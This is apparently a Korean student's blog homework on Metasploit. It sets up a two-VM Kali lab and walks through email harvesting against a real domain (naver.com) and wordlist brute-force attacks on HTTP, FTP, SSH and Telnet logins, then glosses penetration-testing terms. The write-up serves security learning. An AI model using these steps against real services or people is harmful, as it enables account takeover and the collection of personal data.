[ 과제 1 ]
0. 환경 설정
(1) Apache2 설치 및 실행
(2) 사용자 이름과 비밀번호 설정
sudo vi /etc/apache2/apache2.conf
파일을 열어주고 아래와 같이 부분을 찾아 수정해준다.
사용자 이름과 비밀번호를
사용자 이름 : cat /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
비밀번호: cat /usr/share/metasploit-framework/data/wordlists/http_default_users.txt
를 이용해 리스트에 있는 것들 중 하나를 선택해 사용한다.
(※ 이 방식으로 안할 시에 오류가 많이 발생할 수 있다.)
완료가 되었는지 cat /var/www/html/.htpasswd 로 확인한다.
(3) target 역할을 하는 kali linux 다운받기
+) 이 환경설정은 뒤에 나오는 http login 공격을 위한 것이다.
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
처음 리눅스를 다운 받은 것과 같이 새로 kali linux를 다운 받는다.
기존 리눅스는 공격자 역할로 sudo su 명령어를 이용해서 root 계정으로 전환한 다음,
vi /etc/network/interfaces 로 아래 attacker 그림처럼 편집한다.
새로운 리눅스는 피해자 역할로 sudo su 명령어를 이용해서 root 계정으로 전환 후,
vi /etc/network/interfaces 로 아래 victim 그림처럼 편집한다.
1. Metasploit을 사용한 email 계정 수집
1) msfconsole : Metasploit 시작하기
2) search email : email 수집 관련 모듈들 확인
3) use auxiliary/gather/search_email_collector (OR 7) : 모듈들 중에서 7번 사용
4) show options : 모듈 7을 사용하기 위해 사용자가 어떤 정보들을 입력해야 하는 지 보여준다
5) set DOMAIN naver.com : options 중에서 DOMAIN에 해당하는 값으로 naver.com을 줌
6) run : naver.com 도메인을 사용하는 이메일들 수집
2. Metasploit을 사용한 http 패스워드 공격
1) msfconsole : Metasploit 시작하기
2) search http_login : http관련 모듈들 확인
3) use auxiliary/scanner/http/http_login (OR 3) : 모듈들 중에서 3번 사용
4) show options : 모듈 3을 사용하기 위해 사용자가 어떤 정보들을 입력해야 하는 지 보여준다
5) set RHOST 192.168.0.20 : options 중에서 RHOST에 해당하는 값 설정
6) run
3. 아이디 패스워드 무차별 대입 공격
각종 서비스 무작위대입공격(BruteForce Attack)
: 칼리 리눅스에는 기본적으로 계정 목록이 있는 파일과 예상되는 비밀번호 목록이 있는 파일들을 제공한다.
이를 기반으로 하여 Metasploit을 통해 각종 서비스를 대상으로 유효한 계정을 찾는 무작위 대입 공격을 시도할 수 있다.
0. 사전 과정
1) find 명령을 통하여 사용하고자 하는 파일을 검색한다.
여기서 사용하고자 하는 파일은 기본적으로 cat /usr/사용하고자하는 파일의 폴더/users.txt 와 같은 계정 목록들이 있다.
2) 현재 디렉토리로 복사(cp 명령어)한 뒤 추가적으로 예상되는 계정들을 입력한다.
3) 사용하기 쉽게 새로 폴더를 만들고 파일들을 옮긴 뒤 파일의 사이즈를 본다.
1. FTP 서비스 공격
1) msfconsole 명령어를 입력하고, ftp 서비스를 공격하기 위해 "auxiliary/scanner/ftp/ftp_login" 모듈을 이용한
다.
+)
set blank_pawwsords true = | 모든 계정에 대해 빈 패스워드 를 시도한다. |
set pass_file /root/bruteforce/passwords.txt = | 패스워드 목록 파일 경로 |
set rhosts 192.168.100.136 = | 공격 대상 IP 주소/ 도메인 |
set threads 256 = | 스캐닝 프로세스에서 사용하는 쓰레도(클수록 빠르지만 너무 크면 락 걸린다.) |
set user_as_pass true = | 모든 계정에 대해 패스워드를 계정명으로 시도한다. |
set user_file /root/폴더이름/user.txt | 계정 목록 파일 경로 |
2. 기타 서비스 공격
FTP 서비스 공격과 유사한 방식으로
SSH
1) "auxiliary/scanner/ssh/ssh_version" 모듈 이용 → ssh 서비스가 동작 중인 서버 스캔
2) "auxiliary/scanner/ssh/ssh_login" 모듈 이용 → 1) 의 결과에서 보여지는 서버 주소를 기반으로 공격 수행
TELNET
1) "auxiliary/scanner/telnet/telnet_version"
2) "auxiliary/scanner/telnet/telnet_login"
[ 과제 2 ]
" Metasploit 모의 침투 테스트 및 공격 방법 "
1. 모의 침투 테스트
: 정보 수집, 대상 발견, 대상 탐색
: 순서
scoping → reconnaissance : 정보수집(도메인 정보수집, 네트워크 경로 수집) → Discovery: ping, Nmap, hping3→ Scanning → Vulnerability Assessment → Exploitation → Reporting
2. 공격 방법
Metasploit : 공격코드, 페이로더, 인코더, 정찰도구, 보안 테스팅 등을 제공하는 취약점 진단 및 공격 툴
Payload | 쉘코드, 취종 목적 코드, 취약점 공격이 끝난 후 추가적으로 수행하는 공격 코드(원격 명령 실행, 시스템 파괴 등) |
Shellcode | 시스템이 실행하기를 원하는 코드. 프레임워크에 의해 선택되고 전달된다.※ Shellcode는 C, Ruby, Javascript 등 여러 포맷으로 만들어질 수 있다. |
(ex) Reverse Shell | 타겟 머신으로부터 공격자까지 커넥션을 만들어주는 코드이다 |
Module | Metasploit Framework에서 사용될 수 있는 소프트웨어. |
Listener | 연결 요청을 기다릴 수 있도록 해주는 기능. 공격 전 핸들러 설정, 바인드 커넥션, 리버스 커넥션 |
Exploit | 취약점을 이용하여 목표로 하는 컴퓨터 시스템에 공격을 가하는 소프트웨어. |
'자기개발 > Linux' 카테고리의 다른 글
[ Linux week5 ] 과제 1,2,3 (0) | 2021.05.18 |
---|---|
[ Linux week4 ] 과제1,2 (0) | 2021.05.16 |
[ Linux week3 ] 과제1 (0) | 2021.05.04 |
[ Linux week3 ] 과제2, 과제3 (0) | 2021.05.04 |
[ Linux 2주차 ] 과제 재제출 (0) | 2021.05.03 |